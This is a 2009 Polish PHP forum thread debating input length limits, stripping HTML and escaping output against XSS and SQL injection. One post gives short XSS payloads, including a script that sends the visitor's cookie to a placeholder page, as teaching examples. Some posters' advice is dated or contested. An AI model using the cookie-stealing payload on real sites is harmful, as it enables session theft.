Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> [PHP]Bezpieczna długość zmiennej
Szunaj85
post
Post #1





Grupa: Zarejestrowani
Postów: 392
Pomógł: 7
Dołączył: 11.05.2008

Ostrzeżenie: (0%)
-----


Staram się filtrować dane pochodzące od użytkownika. Mam na myśli różnego rodzaju formularze. Cytat z innej strony: "Zmienna powinna mieć radykalne ograniczenia wielkości, tak aby potencjalny włamywacz nie mógł zablokować naszej strony.". Chcę użyć funkcji strlen aby ograniczyć długość tekstu. I moje pytanie. Jaka jest bezpieczna długość zmiennej pochodząca od użytkownika, aby uniknąć takiej sytuacji? blinksmiley.gif

Ten post edytował Szunaj85 24.04.2009, 21:00:08


--------------------
Jeśli Ci pomogłem wciśnij Jeśli mi pomożesz wcisnę
Go to the top of the page
+Quote Post
2 Stron V   1 2 >  
Start new topic
Odpowiedzi (1 - 19)
Spawnm
post
Post #2





Grupa: Moderatorzy
Postów: 4 069
Pomógł: 497
Dołączył: 11.05.2007
Skąd: Warszawa




a daj link do tego arta blinksmiley.gif
może chodziło o atak XSS czyli długość powinna być taka aby nie dało się w klikać <script>alert('xss');</script>
ale zamiast tego można zwyczajnie dane filtrować przez strip_tags i htmlspecialchars smile.gif
Go to the top of the page
+Quote Post
Szunaj85
post
Post #3





Grupa: Zarejestrowani
Postów: 392
Pomógł: 7
Dołączył: 11.05.2008

Ostrzeżenie: (0%)
-----


http://www.webinside.pl/php/artykuly/197
Tam pisze, że 255, ale w niektórych przypadkach to trochę mało.

Ten post edytował Szunaj85 24.04.2009, 21:40:49


--------------------
Jeśli Ci pomogłem wciśnij Jeśli mi pomożesz wcisnę
Go to the top of the page
+Quote Post
batman
post
Post #4





Grupa: Moderatorzy
Postów: 2 921
Pomógł: 269
Dołączył: 11.08.2005
Skąd: 127.0.0.1




Czytam i czytam i nadziwić się nie mogę, że ludzie takie bzdury wypisują. Długość zmiennej nie ma żadnego znaczenia jeśli chodzi o bezpieczeństwo. Nawet w 50 znakach można zmieścić kod z SQL Injection.
Najważniejszą rzeczą jest filtrowanie danych, a nie ich skracanie. Czyli:
1. Wywalanie kodu html/js tam, gdzie nie jest on potrzebny.
2. Walidowanie danych pod kątem ich typu.
3. Rzutowanie zmiennych przed ich użyciem. Jeśli wiadomo, że dana zmienna ma być liczbą, wówczas dla bezpieczeństwa lepiej ją zrzutować na int lub float.
I kilka innych, które akurat wyleciały mi z głowy.


--------------------
I would love to change the world, but they won't give me the source code.
My software never has bugs. It just develops random features.
Go to the top of the page
+Quote Post
kamil4u
post
Post #5





Grupa: Zarejestrowani
Postów: 2 350
Pomógł: 512
Dołączył: 4.01.2009
Skąd: Wrocław / Świdnica

Ostrzeżenie: (0%)
-----


Cytat
1. Wywalanie kodu html/js tam, gdzie nie jest on potrzebny.

Że co? Po co? To IMO tak samo dobry pomysł jak z tą długością zmiennej - wystarczy użyć funkcji typu htmlspecialchars" title="Zobacz w manualu PHP" target="_manual! No chyba, że o czymś nie wiem...

Ten post edytował kamil4u 24.04.2009, 22:24:27


--------------------
Go to the top of the page
+Quote Post
kamil4u
post
Post #6





Grupa: Zarejestrowani
Postów: 2 350
Pomógł: 512
Dołączył: 4.01.2009
Skąd: Wrocław / Świdnica

Ostrzeżenie: (0%)
-----


Zgoda, ale to ma się nijak do bezpieczeństwa(może trochę(w końcu to my mamy decydować jakie dane do nas trafią), ale w żaden sposób nie jest to niebezpieczne)

Ten post edytował kamil4u 24.04.2009, 22:29:14


--------------------
Go to the top of the page
+Quote Post
kamil4u
post
Post #7





Grupa: Zarejestrowani
Postów: 2 350
Pomógł: 512
Dołączył: 4.01.2009
Skąd: Wrocław / Świdnica

Ostrzeżenie: (0%)
-----


Rozmawiamy o bezpieczeństwie naszej aplikacji. Po co mam usuwać znaczniki HTML? Co mi to da? Dałeś przykład z imieniem. To, że otrzymamy od gościa "marc&lt;b&g;in" to nic nie znaczy, w żaden sposób nam to nie zagraża. Co prawda masz rację, że lepiej usunąć, ale jeszcze raz powtarzam nie zagraża nam to. Więc pytam jeszcze raz: po co usuwać znaczniki HTML? IMO jest to bezsensu.


--------------------
Go to the top of the page
+Quote Post
kamil4u
post
Post #8





Grupa: Zarejestrowani
Postów: 2 350
Pomógł: 512
Dołączył: 4.01.2009
Skąd: Wrocław / Świdnica

Ostrzeżenie: (0%)
-----


Pisałem, że rozmawiamy o bezpieczeństwie nie o estetyce:
Cytat
Rozmawiamy o bezpieczeństwie naszej aplikacji.


Daj przykład gdy jesteśmy zagrożeni, gdy nie usuniemy znaczników. Ja takiego nie mogę znaleźć ....
Coś czuje, że się nie zrozumieliśmy na początku i nasza dyskusja dalej nie ma sensu(Ty wiesz to co ja Ci piszę, a ja to co Ty mi tongue.gif )


--------------------
Go to the top of the page
+Quote Post
v1t4n
post
Post #9





Grupa: Zarejestrowani
Postów: 111
Pomógł: 16
Dołączył: 19.02.2005
Skąd: Dębica

Ostrzeżenie: (0%)
-----


bezpieczenstwo bezpieczenstwem ale jak mi ktos zamknie diva w komentarzu to strona leci na pysk - wszelkie wypowiedzi oznaczam htmlspecialchars


--------------------
Psik!! A masz!! ...chamie - Porucznik Borewicz
Go to the top of the page
+Quote Post
batman
post
Post #10





Grupa: Moderatorzy
Postów: 2 921
Pomógł: 269
Dołączył: 11.08.2005
Skąd: 127.0.0.1




Cytat(kamil4u @ 24.04.2009, 23:49:31 ) *
Daj przykład gdy jesteśmy zagrożeni, gdy nie usuniemy znaczników. Ja takiego nie mogę znaleźć ....


Przykład 1.
  1. <script>window.location.href="moja.strona.html?ciacho=" + document.cookie</script>


Przykład 2.
  1. <script>window.open("reklama porno");</script>


Przykład 3.
  1. <meta http-equiv="refresh" content="2;url=http://jakis.adres.html">


Przykład 4.
  1. <iframe src="http://moja.strona.html"></iframe>


Wystarczy, że zapiszesz takie coś do bazy, a następnie wyświetlisz, np jako info o użytkowniku. Wiesz co się stanie jeśli użyjesz htmlspecialchars. Dlatego trzeba wyczyścić dane z kodu html.

Jeśli nadal nie rozumiesz jakie niebezpieczeństwo niesie za sobą brak filtrowania danych, to bardzo mi przykro. EOT.

Cytat(v1t4n @ 25.04.2009, 02:36:54 ) *
bezpieczenstwo bezpieczenstwem ale jak mi ktos zamknie diva w komentarzu to strona leci na pysk - wszelkie wypowiedzi oznaczam htmlspecialchars


Dlatego właśnie powstał bbcode, tidy i inne podobne ustrojstwa.


--------------------
I would love to change the world, but they won't give me the source code.
My software never has bugs. It just develops random features.
Go to the top of the page
+Quote Post
Crozin
post
Post #11





Grupa: Zarejestrowani
Postów: 6 476
Pomógł: 1306
Dołączył: 6.08.2006
Skąd: Kraków

Ostrzeżenie: (0%)
-----


@batman: nic się nie stanie. Zostanie wyświetlony taki kod jak tutaj - w formie tekstu. Usuwanie znaczników HTML nie jest dobrym pomysłem, bo poza HTML można usunąć normalny tekst.

Co do przykładu z imieniem. OK, usuniesz znaczniki HTML, a zostawisz !@#$%^&? No przecież dane się sprawdza i w części możemy spokojnie założyć, że jeżeli poprawnie przeszły walidację to nic nam nie grozi - będzie to numer telefonu ([0-9 ]+), imię ([a-z]+), nazwisko([a-z -]+) itp.

Z treści (jakieś wpisy, tytuły, opisy, sygnaturki - ogólnie wszystko, gdzie z założenia może iść niemalże dowolna treść) również nie wywalamy kod HTML tylko upewniamy się, że zostanie on wyświetlony tak jak zaostał wprowazdony - czyli w formie tekstu.
Go to the top of the page
+Quote Post
batman
post
Post #12





Grupa: Moderatorzy
Postów: 2 921
Pomógł: 269
Dołączył: 11.08.2005
Skąd: 127.0.0.1




@Crozin Pozostaje mi tylko jedno do powiedzenia - cytat z niezapomnianej polskiej komedii:
Cytat
Pokaż go to palcem, bo chciałbym wierzyć, że śnię.


To tyle od mnie. Jeśli nadal się upierasz o pozostawieniu kodu HTML - Twoja sprawa.


--------------------
I would love to change the world, but they won't give me the source code.
My software never has bugs. It just develops random features.
Go to the top of the page
+Quote Post
Crozin
post
Post #13





Grupa: Zarejestrowani
Postów: 6 476
Pomógł: 1306
Dołączył: 6.08.2006
Skąd: Kraków

Ostrzeżenie: (0%)
-----


Pamiętaj, że cały czas mówimy w odniesieni do:
Cytat
Że co? Po co? To IMO tak samo dobry pomysł jak z tą długością zmiennej - wystarczy użyć funkcji typu htmlspecialchars! No chyba, że o czymś nie wiem...
Go to the top of the page
+Quote Post
vokiel
post
Post #14





Grupa: Zarejestrowani
Postów: 2 592
Pomógł: 445
Dołączył: 12.03.2007

Ostrzeżenie: (0%)
-----


Odnośnie tematu topiku ("Bezpieczna długość zmiennej") to IMHO sprawdzanie długości wprowadzanych danych też jest ważnym aspektem.
1. Co jeśli mamy ograniczoną długość pola w bazie i nastąpi próba wpisania dłuższego ciągu? W jednych bazach ciąg zostanie ucięty, dane niekompletne, i nawet nie będziemy o tym poinformowani. W innych mamy błąd.
2. Buffer overflow (np niegdyś wysłanie maila o temacie wiadomości dłuższym niz 256 znaków do odbiorcy używającego Outlok Express)

Poza tym proste sprawy jak imiona, nazwy państw, nazwiska, etc, które po prostu nie mogą być dłuższe niż ileś tam znaków. Wiadomo, że jak ktoś podaje więcej, to albo to jest po prostu błąd albo coś kombinuje/.

Zatem moim zdaniem sprawdzanie długości zmiennej ma sens.


--------------------
Go to the top of the page
+Quote Post
Szunaj85
post
Post #15





Grupa: Zarejestrowani
Postów: 392
Pomógł: 7
Dołączył: 11.05.2008

Ostrzeżenie: (0%)
-----


Nie spodziewałem się, że rozmowa pójdzie w takim kierunku. blinksmiley.gif Pewne wnioski co do mojego pytania już wyciągnąłem. biggrin.gif Może na początku nie miałem o to pytać, ale skoro tak się rozmowa potoczyła to zapytam. Jestem ciekaw jakiego typu filtry/zabezpieczenia stosujecie żeby zabezpieczyć formularz przed zwykłym użytkownikiem poprzez użytkownika, który chce coś zepsuć dla zabawy aż po hakerów? Kilka przykładów już padło. Pewnie są inne.
Jak macie jakiś ciekawy kod też wrzućcie jeśli chcecie. Wiem, że w google można znaleźć pewne informacje na ten temat, ale nie wiem czy są one nadal aktualne. Poza tym pewnie nie wszystkie znalazłem. mellow.gif

Ten post edytował Szunaj85 25.04.2009, 21:14:46


--------------------
Jeśli Ci pomogłem wciśnij Jeśli mi pomożesz wcisnę
Go to the top of the page
+Quote Post
Spawnm
post
Post #16





Grupa: Moderatorzy
Postów: 4 069
Pomógł: 497
Dołączył: 11.05.2007
Skąd: Warszawa




mysql_real_escape_string" title="Zobacz w manualu PHP" target="_manual jeśli treść ma iść do bazy , chroni przed sql injection.
htmlspecialchars" title="Zobacz w manualu PHP" target="_manual na XSS , imho wystarczy smile.gif
Go to the top of the page
+Quote Post
batman
post
Post #17





Grupa: Moderatorzy
Postów: 2 921
Pomógł: 269
Dołączył: 11.08.2005
Skąd: 127.0.0.1




Cytat
Odnośnie tematu topiku ("Bezpieczna długość zmiennej") to IMHO sprawdzanie długości wprowadzanych danych też jest ważnym aspektem.
Jak najbardziej. Jednak autorowi nie chodziło o to, czy należy sprawdzać długość ciągu, a o to, czy jest jakaś konkretna długość zmiennej, do jakiej powinien ją obcinać.

Podstawowe zabezpieczenia:

1. Funkcje z rodziny escape (mysql_real_escape_string, pg_escape_string, itd).
2. Usuwanie znaczników html - strip_tags.
3. Zamiana na encje wszystkich znaków, które mogą coś rozwalić - htmlentities/htmlspecialchars.
4. Walidancja danych pod kątem ich typu.

No i kilka dobrych rad o bezpieczeństwie.
1. Zawsze filtruj dane, nawet jeśli wiesz, że pochodzą one z "zaufanego" źródła.
2. Filtruj wszystkie dane - post, get, cookie, server.
3. Dane można (i powinno się) filtrować dwukrotnie - podczas zapisywania do bazy oraz podczas wyświetlania danych pobranych z bazy.


--------------------
I would love to change the world, but they won't give me the source code.
My software never has bugs. It just develops random features.
Go to the top of the page
+Quote Post
Spawnm
post
Post #18





Grupa: Moderatorzy
Postów: 4 069
Pomógł: 497
Dołączył: 11.05.2007
Skąd: Warszawa




jako osoba filtrująca tylko przy zapisie mam pytanie:
jak filtrujesz dane przed xss przy odczycie ?
uwzględniając że przy zapisie użyłeś np nl2br " title="Zobacz w manualu PHP" target="_manual , jakiś bbcode do linków i obrazków czyli będzie sporo html .
Go to the top of the page
+Quote Post
l0ud
post
Post #19





Grupa: Zarejestrowani
Postów: 1 387
Pomógł: 273
Dołączył: 18.02.2008

Ostrzeżenie: (0%)
-----


W takim wypadku trzeba najpierw przefiltrować dane, a dopiero później przepuścić przez nl2br i pochodne. To przecież logiczne tongue.gif


--------------------
XMPP: l0ud@chrome.pl
Go to the top of the page
+Quote Post
dr_bonzo
post
Post #20





Grupa: Przyjaciele php.pl
Postów: 5 724
Pomógł: 259
Dołączył: 13.04.2004
Skąd: N/A

Ostrzeżenie: (0%)
-----


Ja nie kasuje tagow, i nie zapisuje w bazie danych po nl2br().

Do bazy ida takie dane jakie wyslal user, czyli z tagami(*) i \n

Przy wyswietlaniu htmlspecialchars() i tagi nam nie grozne. I nl2br jak potrzebuje


*) oczywiscie nie wszedzie: na pewno nie w datach, liczbach itp, ale w komentarzach - jak najbardziej.
Pozatym jak napisac takie phpfi.com jak skasujesz tagi przez zapisem?


--------------------
Nie lubię jednorożców.
Go to the top of the page
+Quote Post

2 Stron V   1 2 >
Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 19.08.2025 - 10:51